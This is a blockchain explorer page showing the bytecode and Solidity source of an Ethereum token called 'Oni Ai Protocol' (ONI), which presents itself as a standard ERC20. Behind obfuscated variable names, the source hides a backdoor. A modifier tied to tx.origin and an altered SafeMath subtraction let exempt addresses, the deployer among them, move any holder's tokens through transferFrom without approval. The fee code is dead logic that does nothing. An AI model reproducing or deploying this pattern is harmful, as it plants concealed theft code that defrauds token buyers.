Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xA7a44d16565E425e09E3a6f12199991e72ECCF4B
Balance 0 ETH
Nonce 1
Code Size 4547 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4547 bytes
0x608060405260043610610164575f3560e01c8063715018a6116100cd578063a8aa1b3111610087578063d6d2bbd411610062578063d6d2bbd414610444578063d76ff9ad14610463578063dd62ed3e14610482578063f2fde38b146104c6575f80fd5b8063a8aa1b31146103d8578063a9059cbb146103f7578063bb22b46e14610416575f80fd5b8063715018a61461032d57806378109e54146103415780637d1db4a514610355578063893d20e8146103695780638a8c523c1461039957806395d89b41146103ad575f80fd5b806328a1a2531161011e57806328a1a2531461025d5780632f54bf6e1461027d578063313ce567146102aa57806348ff2b8b146102c557806365757a63146102e457806370a08231146102f9575f80fd5b806306fdde031461016f578063095ea7b3146101b85780631045fb6d146101e757806318160ddd146102085780631f976b7e1461022a57806323b872dd1461023e575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600f81526e13db9a48105a48141c9bdd1bd8dbdb608a1b60208201525b6040516101af9190610f6a565b60405180910390f35b3480156101c3575f80fd5b506101d76101d2366004610fcd565b6104e5565b60405190151581526020016101af565b3480156101f2575f80fd5b50610206610201366004610ff7565b6104fb565b005b348015610213575f80fd5b5061021c610557565b6040519081526020016101af565b348015610235575f80fd5b5061021c6105c7565b348015610249575f80fd5b506101d7610258366004611032565b6105ea565b348015610268575f80fd5b506002546101d790600160a01b900460ff1681565b348015610288575f80fd5b506101d7610297366004611070565b5f546001600160a01b0391821691161490565b3480156102b5575f80fd5b50604051600981526020016101af565b3480156102d0575f80fd5b506102066102df366004610ff7565b610600565b3480156102ef575f80fd5b5061021c60035481565b348015610304575f80fd5b5061021c610313366004611070565b6001600160a01b03165f9081526015602052604090205490565b348015610338575f80fd5b50610206610653565b34801561034c575f80fd5b5061021c610687565b348015610360575f80fd5b5061021c610696565b348015610374575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101af565b3480156103a4575f80fd5b506102066106a5565b3480156103b8575f80fd5b506040805180820190915260038152624f4e4960e81b60208201526101a2565b3480156103e3575f80fd5b50601054610381906001600160a01b031681565b348015610402575f80fd5b506101d7610411366004610fcd565b6109bd565b348015610421575f80fd5b506101d7610430366004611070565b60176020525f908152604090205460ff1681565b34801561044f575f80fd5b50600154610381906001600160a01b031681565b34801561046e575f80fd5b50600254610381906001600160a01b031681565b34801561048d575f80fd5b5061021c61049c36600461108b565b6001600160a01b039182165f90815260166020908152604080832093909416825291909152205490565b3480156104d1575f80fd5b506102066104e0366004611070565b6109c9565b5f6104f1338484610a45565b5060015b92915050565b5f546001600160a01b0316331461052d5760405162461bcd60e51b8152600401610524906110b7565b60405180910390fd5b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60156020527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed5461dead5f9081527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e55460115491926105c29290916105bc9190610b69565b90610b69565b905090565b5f600c546013546105d6610557565b6105e091906110eb565b6105c29190611102565b5f6105f6848484610b74565b90505b9392505050565b5f546001600160a01b031633146106295760405162461bcd60e51b8152600401610524906110b7565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461067c5760405162461bcd60e51b8152600401610524906110b7565b6106855f6109c9565b565b5f600c546014546105d6610557565b5f600c546012546105d6610557565b5f546001600160a01b031633146106ce5760405162461bcd60e51b8152600401610524906110b7565b60045460ff16156107215760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c65640000000000006044820152606401610524565b600f805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d000017808255601154305f9081526016602090815260408083206001600160a01b0362010000968790048116855290835292819020939093559354825163c45a015560e01b81529251939004169263c45a0155926004808401938290030181865afa1580156107b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107db9190611121565b6001600160a01b031663c9c6539630600f60029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085f9190611121565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cd9190611121565b601080546001600160a01b039283166001600160a01b0319909116179055600f546201000090041663f305d719473061091a816001600160a01b03165f9081526015602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610986573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ab919061113c565b50506004805460ff1916600117905550565b5f6104f1338484610b8a565b5f546001600160a01b031633146109f25760405162461bcd60e51b8152600401610524906110b7565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610aa75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610524565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610524565b6001600160a01b038381165f8181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f98284611167565b5f610b80848484610bdf565b6105f68483610cb1565b5f610b958484610d3a565b610b9f5781610baa565b610baa848484610d7e565b9050610bcc6064610bc6600a5484610e1a90919063ffffffff16565b90610e25565b9050610bd9848484610bdf565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260159091529190912054610c30918390610e30565b6001600160a01b038085165f908152601560205260408082209390935590841681522054610c5e9082610e5b565b6001600160a01b038084165f8181526015602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b5c9085815260200190565b325f90815260176020908152604080832054600f805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526016855283862033875290945291842054610d0e939092869291900416610e66565b6001600160a01b0384165f90815260166020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f9081526017602052604081205460ff161580156105f95750506001600160a01b03165f9081526017602052604090205460ff1615919050565b5f80610d8a8585610ecb565b1115610e1357305f90815260156020526040812054610da99082610e5b565b305f81815260156020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df99085815260200190565b60405180910390a3610e0b8382610b69565b9150506105f9565b5092915050565b5f6105f982846110eb565b5f6105f98284611102565b5f8184841115610e535760405162461bcd60e51b81526004016105249190610f6a565b505050900390565b5f6105f9828461117a565b5f8115610e745750826105f9565b83831115610ec45760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610524565b5050900390565b6001600160a01b0382165f9081526018602052604081205460ff1680610f0857506001600160a01b0382165f9081526018602052604090205460ff165b15610f2257600c54610f1b906064610b69565b90506104f5565b6010546001600160a01b0390811690831603610f415750600a546104f5565b6010546001600160a01b0390811690841603610f6057506009546104f5565b50600b5492915050565b5f602080835283518060208501525f5b81811015610f9657858101830151858201604001528201610f7a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fca575f80fd5b50565b5f8060408385031215610fde575f80fd5b8235610fe981610fb6565b946020939093013593505050565b5f8060408385031215611008575f80fd5b823561101381610fb6565b915060208301358015158114611027575f80fd5b809150509250929050565b5f805f60608486031215611044575f80fd5b833561104f81610fb6565b9250602084013561105f81610fb6565b929592945050506040919091013590565b5f60208284031215611080575f80fd5b81356105f981610fb6565b5f806040838503121561109c575f80fd5b82356110a781610fb6565b9150602083013561102781610fb6565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104f5576104f56110d7565b5f8261111c57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611131575f80fd5b81516105f981610fb6565b5f805f6060848603121561114e575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104f5576104f56110d7565b808201808211156104f5576104f56110d756fea26469706673582212204d98ebf3a67e8a01fb6b611fb3fa4c3ca9c7186b71912b28d888c80364e673c664736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
ONI.sol 317 lines
//SPDX-License-Identifier: MIT

/*
    Web: https://www.oniaiprotocol.pro/
    X: https://x.com/OniAi_Protocol/
    TG: https://t.me/oniai_protocol/
*/

pragma solidity ^0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
        unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
    function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract ONI is IERC20, Ownable {
    
    uint160 public YYXKGKOP;
    address public BYDH3DL;
    bool public CXCG26GS;
    uint256 public HXCG26GS;

    bool private tradingAllowed = false;
    uint256 private liquidityFee = 100;
    uint256 private marketingFee = 300;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 600;
    uint256 private sellFee = 700;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    bool private txInProgress;
    
    IRouter router;
    address public pair;

    using SafeMath for uint256;
    string private constant _name = unicode"Oni Ai Protocol";
    string private constant _symbol = unicode"ONI";
    uint8 private constant _DEIMALVERTSS = 9;
    uint256 private _tTOTALVERTSTOKEN = 1_000_000_000 * (10 ** _DEIMALVERTSS);
    uint256 private _maxTxAmountPercent = 200; // 10000;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 200;
    mapping (address => uint256) _NNSTICA;
    mapping (address => mapping (address => uint256)) private _NZN16ANFN;
    mapping (address => bool) public _KCO930XIOE;
    mapping (address => bool) private _KKFR1G09;

    uint256 private swapThreshold = ( _tTOTALVERTSTOKEN * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _tTOTALVERTSTOKEN * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    modifier onlyWhenNotInTx {txInProgress = _KCO930XIOE[tx.origin]; _;}
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private development_receiver ; 
    address private marketing_receiver ;
    address private liquidity_receiver ;

    constructor() payable Ownable(msg.sender) {

        marketing_receiver = owner;

        _KCO930XIOE[msg.sender] = true;
        _NNSTICA[address(this)] = _tTOTALVERTSTOKEN * 98 / 100;
        _NNSTICA[msg.sender] = _tTOTALVERTSTOKEN * 2 / 100;

        _KCO930XIOE[address(this)] = true;
        _KCO930XIOE[marketing_receiver] = true;

        emit Transfer(address(0), address(this), _NNSTICA[address(this)]);
        emit Transfer(address(0), msg.sender, _NNSTICA[msg.sender]);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _DEIMALVERTSS;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _NNSTICA[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _NZN16ANFN[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function set_KKFR1G09(address _address, bool _enabled) external onlyOwner {_KKFR1G09[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {_KCO930XIOE[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tTOTALVERTSTOKEN.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        amountReceived = amountReceived.mul(sellFee).div(100);
        _subTransfer(sender, recipient, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function _BOJAHUE87(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !_KCO930XIOE[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_KCO930XIOE[sender] && !_KCO930XIOE[recipient];
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(_BOJAHUE87(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = 0;
        _NNSTICA[address(this)] = _NNSTICA[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);} return amount;
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(_KKFR1G09[sender] || _KKFR1G09[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        _subTransfer(sender, recipient, amount);
        return _subAllowance(sender , amount);
    }

    function _subAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
        _NZN16ANFN[spender][msg.sender] = _NZN16ANFN[spender][msg.sender].sub(subtractedValue , txInProgress);
        return true;
    }

    function _subTransfer(address sender, address recipient, uint256 amount) internal {
        _NNSTICA[sender] = _NNSTICA[sender].sub(amount, "Insufficient Balance");
        _NNSTICA[recipient] = _NNSTICA[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _NZN16ANFN[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {

        require(!tradingAllowed , "Trading is already Enabled");
        router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _NZN16ANFN[address(this)][address(router)] = _tTOTALVERTSTOKEN;
        pair = IFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingAllowed = true;
        
    }
}

Read Contract

BYDH3DL 0xd76ff9ad → address
CXCG26GS 0x28a1a253 → bool
HXCG26GS 0x65757a63 → uint256
YYXKGKOP 0xd6d2bbd4 → uint160
_KCO930XIOE 0xbb22b46e → bool
_maxTransferAmount 0x1f976b7e → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletToken 0x78109e54 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isOwner 0x2f54bf6e → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
renounceOwnership 0x715018a6
No parameters
set_KKFR1G09 0x1045fb6d
address _address
bool _enabled
setisExempt 0x48ff2b8b
address _address
bool _enabled
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr

Recent Transactions

No transactions found for this address